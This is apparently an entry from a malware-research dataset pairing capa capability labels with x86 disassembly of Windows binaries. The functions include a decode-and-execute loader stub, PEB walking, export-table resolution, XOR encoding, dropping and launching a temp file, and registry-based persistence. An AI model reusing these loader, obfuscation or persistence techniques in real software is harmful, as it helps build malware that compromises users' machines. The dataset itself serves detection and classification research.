joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ac0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov esi, dword [edi + 0xc]
test esi, esi
je 0x406b52
mov eax, dword [0x4d6650]
test eax, eax
je 0x406b46
mov ebx, dword [eax + 0x30]
test ebx, ebx
js 0x406bc1
mov ecx, dword [eax + 0x30]
test ecx, ecx
jne 0x406b67
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, edi
call sym.__Unwind_ForcedUnwind_Phase2
cmp eax, 7
jne 0x406bdf
mov eax, dword [0x4d6650]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x406bb2
mov edx, dword [eax + 0x30]
test edx, edx
js 0x406bd0
mov edi, dword [eax + 0x30]
test edi, edi
jne 0x406b93
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call sym.___w32_sharedptr_initialize
mov eax, dword [0x4d6650]
jmp 0x406ae2
mov dword [esp], edi
call sym.__Unwind_SjLj_RaiseException
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x406af7
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x406b35
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x406b35
call sym.___w32_sharedptr_initialize
mov eax, dword [0x4d6650]
jmp 0x406b20
call sym._fc_key_init_once
mov eax, dword [0x4d6650]
jmp 0x406aed
call sym._fc_key_init_once
mov eax, dword [0x4d6650]
jmp 0x406b2b
call sym._abort
lea esi, [esi]
lea edi, [edi]

Function at 0x406d90
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov edx, eax
je 0x406dc0
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
mov dword [esp], edx
mov dword [esp + 4], eax
call sym.___mingwthr_key_dtor
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
leave
ret

Function at 0x407240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x4013cf
Capabilities:
Encode data using xor

Disassembly:
jmp 0x411f5d
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x412080
push ebx
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebx, str.Soviet_aristo_baristo
mov ebp, 0x4f9448
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
sub byte [esi + edi], 0x7c
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 5
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x21
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
xor byte [esi + edi], 0xd6
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x50
push ebx
push ebp
call fcn.00403490
add esp, 0x44
push eax
call fcn.004013b6
xor byte [esi + edi], 0xb7
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xdd
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xf1
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
xor byte [esi + edi], 0x24
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
xor byte [esi + edi], 0x8a
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x97
add esp, 0x40
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x85
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0x9f
push ebx
push ebp
call fcn.00403490
push eax
call fcn.004013b6
add byte [esi + edi], 0xd2
add esp, 0x24
inc esi
cmp esi, dword [esp + 0x18]
jb 0x411f7b
pop edi
pop ebp
pop ebx
pop esi
ret

Function at 0x402946
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x412674
sub esp, 0x20
mov eax, dword [0x4f7024]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov edi, dword [eax + esi + 0x78]
add edi, esi
mov ebx, dword [edi + 0x20]
mov eax, dword [edi + 0x18]
add ebx, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x4126f3
mov eax, dword [ebx]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401e2e
push str.Hardline
push 0x4f9530
call fcn.00402d60
push eax
call fcn.00406082
lea eax, [esp + 0x20]
push 0x36c
push eax
call fcn.00402cc5
add esp, 0x14
cmp eax, dword [esp + 0x38]
je 0x41270d
lea ecx, [esp + 0x14]
add ebx, 4
call fcn.00402982
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x4126a5
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403030
add esp, 0x20
ret 8
mov eax, dword [edi + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402982
jmp 0x4126f5
Function at 0x401d25
Capabilities:
Get file version info

Disassembly:
push ebp
lea ebp, [esp - 0x1a4]
sub esp, 0x224
mov eax, dword [0x412320]
xor eax, ebp
mov dword [ebp + 0x1a0], eax
mov eax, dword [ebp + 0x1ac]
push ebx
push esi
mov esi, dword [ebp + 0x1b0]
push 0x104
lea ecx, [ebp - 0x68]
push ecx
push 0xffffffffffffffff
push eax
xor ebx, ebx
push ebx
push 0xfde9
mov dword [ebp - 0x6c], 0xfffffffd
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x401e01
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x78], eax
cmp eax, ebx
je 0x401e01
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [ebp - 0x70], eax
cmp eax, ebx
je 0x401e00
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x68]
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x401df3
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0x40e484
push dword [ebp - 0x70]
mov dword [ebp - 0x74], ebx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x401df3
mov eax, dword [ebp - 0x7c]
movzx ecx, word [eax + 0xa]
mov dword [esi], ecx
movzx ecx, word [eax + 8]
mov dword [esi + 4], ecx
movzx ecx, word [eax + 0xe]
mov dword [esi + 8], ecx
movzx eax, word [eax + 0xc]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x70]
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
pop edi
mov ecx, dword [ebp + 0x1a0]
mov eax, dword [ebp - 0x6c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004024bc
add ebp, 0x1a4
leave
ret

Function at 0x4024bc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412320]
jne 0x4024c6
repz ret
jmp fcn.00403ae7
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x4098ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4098bb
pop dword [ebp - 8]
mov eax, 0xc8ae3c5
add eax, 0xf3b5b4f6
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x38d09
push 0
mov eax, 0xe57d0f77
sub eax, 0xe53c2e57
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xc71ce66f
sub ecx, 0xc71ca0e4
mov edx, eax
mov esi, 0x417800
add esi, dword [ebp - 8]
mov ebx, 0xb8237cdb
add ebx, 0x7a9c4882
xor dword [ebp - 4], ecx
mov edi, dword [esi]
xor dword [ebp - 4], ebx
sub edi, ebx
mov dword [edx], edi
add edx, 0x50532177
sub edx, 0x50532173
add esi, 0x3b84010f
add esi, 0xc47bfef5
loop 0x409914
add eax, 0x308436db
add eax, 0xcf7cd224
mov ebx, eax
add eax, 0x83bb0b32
add eax, 0x7c44f4d3
mov ecx, 0x42f1b5b
sub ecx, 0x3ef1b5b
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x435d60
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 4], eax
cmp dword [0x43da04], 0
jne 0x435d8c
push 0x1019
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x435d8c
xor eax, eax
jmp 0x435dc0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp eax, 0xfffffffe
je 0x435d9b
xor eax, eax
jmp 0x435dc0
push 0x10022
call dword [ebp - 4]
test eax, eax
jne 0x435db8
mov ecx, section..text
sub ecx, 0x51615
mov dword [0x43da08], ecx
mov eax, dword [0x43da08]
add eax, 4
mov esp, ebp
pop ebp
ret
Function at 0x436500
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x436518
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jae 0x4365bc
mov edx, dword [ebp - 4]
sub edx, 0x231d
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
movzx edx, word [ecx + eax*2 + 0x463a]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
shr eax, 0xc
cmp eax, 3
jne 0x4365b7
mov ecx, dword [ebp - 8]
push ecx
call fcn.004364e0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x436576
push 0x154b
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x436576
xor eax, eax
jmp 0x4365bc
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax - 0x4c3f8]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + edx]
add ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov edx, dword [ebp + 0x10]
mov dword [edx + eax], ecx
mov eax, dword [ebp - 8]
sub eax, 0x4c3f8
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
sub edx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
jmp 0x43650f
mov esp, ebp
pop ebp
ret
Function at 0x406fc8
Capabilities:
Access peb ldr_data
Create thread
Get kernel32 base address

Disassembly:
push ebx
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x406fd7
call 0x8566f1c
jo 0x40701e
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
add byte [ebx + ecx*4 + 0x3d], ah
xor byte [eax], al
add byte [eax], al
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x459e0c], eax
sub eax, eax
je 0x406ffc
call 0xa97b58d9
invalid
call 0x40193b
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteAce]
push 8
call fcn.00409abb
push 4
mov esi, eax
call fcn.00409abb
lea edi, [esi + 4]
push edi
push ebx
push eax
push 0x407952
push ebx
push ebx
mov dword [eax], 0x406d8b
call fcn.0040e511
add esp, 0x20
mov dword [esi], eax
test eax, eax
je 0x407072
cmp dword [edi], ebx
jne 0x407044
push 1
jmp 0x407076
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [edi], eax
jne 0x407051
push 5
jmp 0x407076
push ebx
push dword [esi + 4]
push dword [esi]
call fcn.004095b1
add esp, 0xc
test eax, eax
je 0x407067
push 2
jmp 0x407076
pop edi
mov dword [esi], ebx
xor eax, eax
mov dword [esi + 4], ebx
pop esi
pop ebx
ret
mov dword [edi], ebx
push 6
call fcn.00407abf
int3

Function at 0x408b4f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x408b70
jl 0x408b67
test edi, edi
jne 0x408b70
xor eax, eax
xor edx, edx
jmp 0x408c31
cmp dword [ebx + 0x38], 0
je 0x408b85
push eax
push edi
push dword [ebp + 8]
call fcn.00408c37
jmp 0x408c31
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x408bcc
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x408bcc
cmp eax, edi
jb 0x408ba6
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040a920
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x408bd2
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x408c26
mov ecx, ebx
call fcn.004083b7
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x408c11
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041119d
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x408c26
jmp 0x408be4
test edx, edx
je 0x408c26
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041119d
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x40107e
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [sym.imp.user32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x4246b0
push 0x67
push edi
call esi
push 0x64
push 0x4245e8
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00401209
push ebx
push 0x4251b8
call fcn.00408d14
pop ecx
pop ecx
call fcn.00402e73
push 0x7d0
mov dword [0x4230a0], eax
call dword [sym.imp.kernel32.dll_Sleep]
call fcn.004014c5
test eax, eax
je 0x4010fe
call fcn.00403139
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
push edi
call fcn.00401da2
test eax, eax
pop ecx
jne 0x401120
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00408c2e
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.user32.dll_LoadAcceleratorsW]
xor esi, esi
push 0x206
lea eax, [esp + 0x16]
push esi
push eax
mov word [esp + 0x1c], si
call fcn.00408c40
mov ecx, dword [0x424e00]
add esp, 0xc
cmp ecx, esi
jbe 0x40116c
cmp word [0x424e04], si
jbe 0x40116c
mov esi, 0x423648
call fcn.00402e0f
mov ax, word [0x424e04]
mov word [0x423658], ax
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x4253c8
div ecx
push edx
push 0x41dc00
push ebx
call fcn.00402848
add esp, 0xc
call fcn.004024c9
lea edi, [esp + 0x10]
call fcn.00402863
push 0x41dc18
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00408d30
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00408d30
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4011f4
push 0x1f4
call dword [sym.imp.kernel32.dll_Sleep]
push 1
xor eax, eax
push eax
push 0x41dd90
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.kernel32.dll_Sleep]
call fcn.004022ab
jmp 0x4010f6

Function at 0x401414
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x41dc34
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.004092a6
add esp, 0xc
test eax, eax
je 0x401441
xor eax, eax
jmp 0x4014c1
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.0040937d
push dword [ebp - 4]
call fcn.0040959a
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.0040937d
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.00409657
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00409977
push dword [ebp - 4]
call fcn.00409a05
push ebx
lea ebx, [edi + esi]
call fcn.004030c7
push 0x41dc3c
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004092a6
add esp, 0x44
test eax, eax
pop esi
jne 0x40143a
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00409b9b
push dword [ebp - 4]
call fcn.00409a05
xor eax, eax
add esp, 0x14
inc eax
pop edi
pop ebx
leave
ret
Function at 0x401da2
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x424778], eax
mov eax, 0x80000000
push eax
push esi
push eax
push 0xcf0000
push 0x4246b0
push 0x4245e8
push esi
call dword [sym.imp.user32.dll_CreateWindowExW]
test eax, eax
jne 0x401df0
xor eax, eax
jmp 0x401f4a
push 0x206
lea eax, [ebp - 0x24a]
push esi
push eax
mov word [ebp - 0x24c], si
call fcn.00408c40
add esp, 0xc
lea eax, [ebp - 0x3dc]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424f38
call fcn.00408a72
test eax, eax
pop ecx
jne 0x401ecf
push 0x3a
lea eax, [ebp - 0x42]
push esi
push eax
mov word [ebp - 0x44], si
call fcn.00408c40
add esp, 0xc
lea ebx, [ebp - 0x44]
call fcn.00401000
mov eax, ebx
push eax
push 0x4250e0
call fcn.00408d14
push 0x41dc90
push 0x40
push 0x424f3c
call fcn.00409115
add esp, 0x14
push 0x41dcac
push 0x10
push 0x424fbe
mov word [0x424fbc], 0x51
call fcn.00409115
add esp, 0xc
push 0x41dc5c
push 0x40
push 0x424fde
call fcn.00409115
add esp, 0xc
mov eax, ebx
push eax
mov edi, 0x4250c0
push edi
mov word [0x42505e], 0x2b66
call fcn.00408d14
push 0x41dd2c
push edi
call fcn.00408cea
add esp, 0x10
mov dword [0x425100], 5
call fcn.00401303
lea ebx, [ebp - 0x24c]
call fcn.00401000
mov eax, ebx
push eax
mov edi, 0x425138
push edi
call fcn.00408d14
pop ecx
pop ecx
push edi
push esi
push 0x20000
call dword [sym.imp.kernel32.dll_OpenEventW]
cmp eax, esi
je 0x401f0c
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x401de9
push edi
push esi
push esi
push esi
call dword [sym.imp.kernel32.dll_CreateEventW]
test eax, eax
je 0x401de9
mov ecx, 0x4255d0
call fcn.00402190
mov eax, dword [0x425104]
push esi
push esi
push esi
push 0x40127a
push esi
push esi
mov dword [0x4255d8], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [0x423640], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c2e
leave
ret
Function at 0x4020f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402119
push dword [ebp + 8]
call fcn.00402f0f
cmp eax, dword [ebp + 0x10]
pop ecx
jne 0x402119
inc ebx
jmp 0x402189
mov edi, 0x200000
push edi
call fcn.00409657
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00404f74
add esp, 0xc
test eax, eax
je 0x402182
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
call fcn.00409c3e
pop ecx
push 0x32
mov eax, 0xc8
call fcn.004028bc
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.004030c7
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.00408b67
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00409c6d
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4022ab
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0x206
lea eax, [ebp - 0x236]
push esi
push eax
mov word [ebp - 0x238], si
call fcn.00408c40
add esp, 0xc
push 9
mov word [ebp - 0x2c], si
pop ecx
xor eax, eax
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x4250a0
mov ebx, 0x104
push edi
mov dword [ebp - 0x248], esi
mov dword [ebp - 0x244], ebx
call fcn.00409c28
test eax, eax
pop ecx
je 0x402325
push edi
push esi
push 0x20000
call dword [sym.imp.kernel32.dll_OpenEventW]
test eax, eax
jne 0x4024b8
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x23c]
push eax
push 0xf003f
push esi
push 0x41dcb8
push 0x80000001
call edi
test eax, eax
jne 0x4023a1
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
push 0x41dd3c
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402395
lea eax, [ebp - 0x2c]
push eax
push esi
push 0x20000
call dword [sym.imp.kernel32.dll_OpenEventW]
test eax, eax
je 0x402395
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4024b8
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x238]
push eax
push ebx
mov dword [ebp - 0x240], esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
push 0x4250c0
call fcn.00409c28
test eax, eax
pop ecx
lea eax, [ebp - 0x238]
jne 0x4023e0
push 0x41dd4c
push ebx
push eax
call fcn.00408d30
add esp, 0xc
push 0x41dd4c
jmp 0x4023f4
push 0x4250c0
push ebx
push eax
call fcn.00408d30
add esp, 0xc
push 0x4250c0
lea eax, [ebp - 0x2c]
push eax
call fcn.00408d14
pop ecx
pop ecx
push 0x41dc28
lea eax, [ebp - 0x238]
push ebx
push eax
call fcn.00408d30
lea eax, [ebp - 0x240]
add esp, 0xc
push eax
call fcn.00402971
mov ebx, eax
cmp ebx, esi
pop ecx
je 0x4024b8
push dword [ebp - 0x240]
lea eax, [ebp - 0x238]
push ebx
push eax
call fcn.004020f0
add esp, 0xc
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
push 1
push esi
push 0x41dd90
lea eax, [ebp - 0x238]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x23c]
push eax
push 3
push esi
push 0x41dcb8
push 0x80000001
call edi
test eax, eax
jne 0x4024b1
lea eax, [ebp - 0x2c]
push eax
call fcn.00409c28
pop ecx
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push esi
push 0x41dd3c
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4024b1
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.00409cfb
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00408c2e
leave
ret